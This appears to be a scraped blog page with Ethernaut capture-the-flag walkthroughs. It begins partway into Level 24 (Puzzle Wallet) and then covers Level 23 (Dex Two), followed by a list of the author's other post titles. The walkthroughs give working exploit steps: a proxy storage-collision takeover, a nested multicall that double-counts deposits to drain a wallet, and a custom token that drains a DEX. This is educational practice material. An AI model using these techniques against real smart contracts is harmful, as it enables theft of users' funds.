    constructor(address _admin, address _implementation, bytes memory _initData) UpgradeableProxy(_implementation, _initData) public {
        admin = _admin;
    }

    modifier onlyAdmin {
      require(msg.sender == admin, "Caller is not the admin");
      _;
    }

    function proposeNewAdmin(address _newAdmin) external {
        pendingAdmin = _newAdmin;
    }

    function approveNewAdmin(address _expectedAdmin) external onlyAdmin {
        require(pendingAdmin == _expectedAdmin, "Expected new admin by the current admin is not the pending admin");
        admin = pendingAdmin;
    }

    function upgradeTo(address _newImplementation) external onlyAdmin {
        _upgradeTo(_newImplementation);
    }
}

contract PuzzleWallet {
    using SafeMath for uint256;
    address public owner;
    uint256 public maxBalance;
    mapping(address => bool) public whitelisted;
    mapping(address => uint256) public balances;

    function init(uint256 _maxBalance) public {
        require(maxBalance == 0, "Already initialized");
        maxBalance = _maxBalance;
        owner = msg.sender;
    }

    modifier onlyWhitelisted {
        require(whitelisted[msg.sender], "Not whitelisted");
        _;
    }

    function setMaxBalance(uint256 _maxBalance) external onlyWhitelisted {
      require(address(this).balance == 0, "Contract balance is not 0");
      maxBalance = _maxBalance;
    }

    function addToWhitelist(address addr) external {
        require(msg.sender == owner, "Not the owner");
        whitelisted[addr] = true;
    }

    function deposit() external payable onlyWhitelisted {
      require(address(this).balance <= maxBalance, "Max balance reached");
      balances[msg.sender] = balances[msg.sender].add(msg.value);
    }

    function execute(address to, uint256 value, bytes calldata data) external payable onlyWhitelisted {
        require(balances[msg.sender] >= value, "Insufficient balance");
        balances[msg.sender] = balances[msg.sender].sub(value);
        (bool success, ) = to.call{ value: value }(data);
        require(success, "Execution failed");
    }

    function multicall(bytes[] calldata data) external payable onlyWhitelisted {
        bool depositCalled = false;
        for (uint256 i = 0; i < data.length; i++) {
            bytes memory _data = data[i];
            bytes4 selector;
            assembly {
                selector := mload(add(_data, 32))
            }
            if (selector == this.deposit.selector) {
                require(!depositCalled, "Deposit can only be called once");
                // Protect against reusing msg.value
                depositCalled = true;
            }
            (bool success, ) = address(this).delegatecall(data[i]);
            require(success, "Error while delegating call");
        }
    }
}

player has to hijack the proxy contract, PuzzleProxy by becoming admin.

The vulnerability here arises due to storage collision between the proxy contract (PuzzleProxy) and logic contract (PuzzleWallet). And storage collision is a nightmare when using delegatecall. Let's bring this nightmare to reality.

Note that in proxy pattern any call/transaction sent does not directly go to the logic contract (PuzzleWallet here), but it is actually delegated to logic contract inside proxy contract (PuzzleProxy here) through delegatecall method.

Since, delegatecall is context preserving, the context is taken from PuzzleProxy. Meaning, any state read or write in storage would happen in PuzzleProxy at a corresponding slot, instead of PuzzleWallet.

Compare the storage variables at slots:

slot | PuzzleWallet  -  PuzzleProxy
----------------------------------
 0   |   owner      <-  pendingAdmin
 1   |   maxBalance <-  admin
 2   |           . 
 3   |           .

Accordingly, any write to pendingAdmin in PuzzleProxy would be reflected by owner in PuzzleWallet because they are at same storage slot, 0!

And that means if we set pendingAdmin to player in PuzzleProxy (through proposeNewAdmin method), player is automatically owner in PuzzleWallet! That's exactly what we'll do. Although contract instance provided web3js API, doesn't expose the proposeNewAdmin method, we can alway encode signature of function call and send transaction to the contract:

functionSignature = {
    name: 'proposeNewAdmin',
    type: 'function',
    inputs: [
        {
            type: 'address',
            name: '_newAdmin'
        }
    ]
}

params = [player]

data = web3.eth.abi.encodeFunctionCall(functionSignature, params)

await web3.eth.sendTransaction({from: player, to: instance, data})

player is now owner. Verify by:

await contract.owner() === player

// Output: true

Now, since we're owner let's whitelist us, player:

await contract.addToWhitelist(player)

Okay, so now player can call onlyWhitelisted guarded methods.

Also, note from the storage slot table above that admin and maxBalance also correspond to same slot (slot 1). We can write to admin if in some way we can write to maxBalance the address of player.

Two methods alter maxBalance - init and setMaxBalance. init shows no hope as it requires current maxBalance value to be zero. So, let's focus on setMaxBalance.

setMaxBalance can only set new maxBalance only if the contract's balance is 0. Check balance:

await getBalance(contract.address)

// Output: 0.001

Bad luck! It's non-zero. Can we somehow take out the contract's balance? Only method that does so, is execute, but contract tracks each user's balance through balances such that you can only withdraw what you deposited. We need some way to crack the contract's accounting mechanism so that we can withdraw more than deposited and hence drain contract's balance.

A possible way is to somehow call deposit with same msg.value multiple times within the same transaction. Hmmm...the developers of this contract did write logic to batch multiple transactions into one transaction to save gas costs. And this is what multicall method is for. Maybe we can exploit it?

But wait! multicall actually extracts function selector (which is first 4 bytes from signature) from the data and makes sure that deposit is called only once per transaction!

assembly {
    selector := mload(add(_data, 32))
}
if (selector == this.deposit.selector) {
    require(!depositCalled, "Deposit can only be called once");
    // Protect against reusing msg.value
    depositCalled = true;
}

We need another way. Think deeper...we can only call deposit only once in a multicall...but what if call a multicall that calls multiple multicalls and each of these multicalls call deposit once...aha! That'd be totally valid since each of these multiple multicalls will check their own separate depositCalled bools.

The contract balance currently is 0.001 eth. If we're able to call deposit two times through two multicalls in same transaction. The balances[player] would be registered from 0 eth to 0.002 eth, but in reality only 0.001 eth will be actually sent! Hence total balance of contract is in reality 0.002 eth but accounting in balances would think it's 0.003 eth. Anyway, player is now eligible to take out 0.002 eth from contract and drain it as a result. Let's begin.

Here's our call inception (calls within calls within call!)

            multicall
               |
        -----------------
        |               |
     multicall        multicall
        |                 |
      deposit          deposit

Get function call encodings:

// deposit() method
depositData = await contract.methods["deposit()"].request().then(v => v.data)

// multicall() method with param of deposit function call signature
multicallData = await contract.methods["multicall(bytes[])"].request([depositData]).then(v => v.data)

Now we call multicall which will call two multicalls and each of these two will call deposit once each. Send value of 0.001 eth with transaction:

await contract.multicall([multicallData, multicallData], {value: toWei('0.001')})

player balance now must be 0.001 eth * 2 i.e. 0.002 eth. Which is equal to contract's total balance at this time.

Withdraw same amount by execute:

await contract.execute(player, toWei('0.002'), 0x0)

By now, contract's balance must be zero. Verify:

await getBalance(contract.address)

// Output: '0'

Finally we can call setMaxBalance to set maxBalance and as a consequence of storage collision, set admin to player:

await contract.setMaxBalance(player)

Bang! Wallet is hijacked!

Learned something awesome? Consider starring the github repo 😄

and following me on twitter here 🙏

Ethernaut Hacks Level 23: Dex Two

Naveen ⚡ — Sat, 29 Jan 2022 11:54:47 +0000

This is the level 23 of OpenZeppelin Ethernaut web3/solidity based game.

Pre-requisites

ERC20 Token Standard

Hack

Given contract:

contract DexTwo  {
  using SafeMath for uint;
  address public token1;
  address public token2;
  constructor(address _token1, address _token2) public {
    token1 = _token1;
    token2 = _token2;
  }

  function swap(address from, address to, uint amount) public {
    require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
    uint swap_amount = get_swap_amount(from, to, amount);
    IERC20(from).transferFrom(msg.sender, address(this), amount);
    IERC20(to).approve(address(this), swap_amount);
    IERC20(to).transferFrom(address(this), msg.sender, swap_amount);
  }

  function add_liquidity(address token_address, uint amount) public{
    IERC20(token_address).transferFrom(msg.sender, address(this), amount);
  }

  function get_swap_amount(address from, address to, uint amount) public view returns(uint){
    return((amount * IERC20(to).balanceOf(address(this)))/IERC20(from).balanceOf(address(this)));
  }

  function approve(address spender, uint amount) public {
    SwappableTokenTwo(token1).approve(spender, amount);
    SwappableTokenTwo(token2).approve(spender, amount);
  }

  function balanceOf(address token, address account) public view returns (uint){
    return IERC20(token).balanceOf(account);
  }
}

contract SwappableTokenTwo is ERC20 {
  constructor(string memory name, string memory symbol, uint initialSupply) public ERC20(name, symbol) {
        _mint(msg.sender, initialSupply);
  }
}

player has to drain all of token1 and token2.

The vulnerability here arises from swap method which does not check that the swap is necessarily between token1 and token2. We'll exploit this.

Let's deploy a token - EvilToken in Remix, with initial supply of 400, all given to msg.sender which would be the player:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC20/ERC20.sol";

contract EvilToken is ERC20 {
    constructor(uint256 initialSupply) ERC20("EvilToken", "EVL") {
        _mint(msg.sender, initialSupply);
    }
}

We're going to exchange EVL token for token1 and token2 in such a way to drain both from DexTwo. Initially both token1 and token2 is 100. Let's send 100 of EVL to DexTwo using EvilToken's transfer. So, that price ratio in DexTwo between EVL and token1 is 1:1. Same ratio goes for token2.

Also, allow DexTwo to transact 300 (100 for token1 and 200 for token2 exchange) of our EVL tokens so that it can swap EVL tokens. This can be done by approve method of EvilToken, passing contract.address and 200 as params.

Alright at this point DexTwo has 100 of each - token1, token2 and EVL. And player has 300 of EVL.

      DEX             |      player  
token1 - token2 - EVL | token1 - token2 - EVL
---------------------------------------------
  100     100     100 |   10      10      300

Get token addresses:

evlToken = '<EVL-token-address>'
t1 = await contract.token1()
t2 = await contract.token2()

Swap 100 of player's EVL with token1:

await contract.swap(evlToken, t1, 100)

This would drain all of token1 from DexTwo. Verify by:

await contract.balanceOf(t1, instance).then(v => v.toString())

// Output: '0'

Updated balances:

      DEX             |      player  
token1 - token2 - EVL | token1 - token2 - EVL
---------------------------------------------
  100     100     100 |   10      10      300
  0       100     200 |   110     10      200

Now, according to get_swap_amount method, to get all 100 of token2 in exchange we need 200 of EVL. Swap accordingly:

await contract.swap(evlToken, t2, 200)

And token2 is drained too! Verify by:

await contract.balanceOf(t2, instance).then(v => v.toString())

// Output: '0'

Finally:

      DEX             |      player  
token1 - token2 - EVL | token1 - token2 - EVL
---------------------------------------------
  100     100     100 |   10      10      300
  0       100     200 |   110     10      200
  0       0       400 |   110     110     0

Level passed!

Learned something awesome? Consider starring the github repo 😄

and following me on twitter here 🙏

DEV Community: Naveen ⚡

Disambiguating Clone and Copy traits in Rust

Ownership in Rust

Memory Allocation in Rust

Clone trait

Copy trait

Conclusion

Resources

Ethernaut Hacks Level 26: Double Entry Point

Pre-requisites

Hack

A Practical Introduction To Solidity Assembly: Part 2

Prelude

Initialization bytecode

Runtime bytecode

Basic Yul Structure

Pure Assembly Box Contract

Initialization code

Runtime code

Resources

A Practical Introduction To Solidity Assembly: Part 1

Prelude

Inline Assembly

sload

return

mstore

Resources

A Practical Introduction To Solidity Assembly: Part 0

What to Expect

Prelude

Storage

Memory

Call Stack

Calldata

Solidity Contract

Resources

Proxy Patterns For Upgradeability Of Solidity Contracts: Transparent vs UUPS Proxies

Why Proxies anyway?

What could be done?

How Proxies Work

Storage collision between Proxy and Implementation contracts

Storage collision between different Implementation version contracts

Initializing constructor code

Function clashes between Proxy and Implementation

Transparent vs UUPS Proxies

Transparent Proxy

UUPS Proxy

Resources

The Graph Tutorial: Creating a Subgraph

Installation

Initializing Subgraph

Configuring Subgraph Manifest

Defining Entities

Writing Mappings

Publishing the Subgraph

The Graph Tutorial: Why The Graph?

What actually is The Graph?

The Problem

The Solution

CryptoPals Crypto Challenges Using Rust: Implement CBC Mode

Context 💡

Code 🕶

Ethernaut Hacks Level 25: Motorbike

Pre-requisites

Hack

Ethernaut Hacks Level 24: Puzzle Wallet

Pre-requisites

Hack

Ethernaut Hacks Level 23: Dex Two

Pre-requisites

Hack

`Clone` trait

Pure Assembly `Box` Contract

`sload`

`return`

`mstore`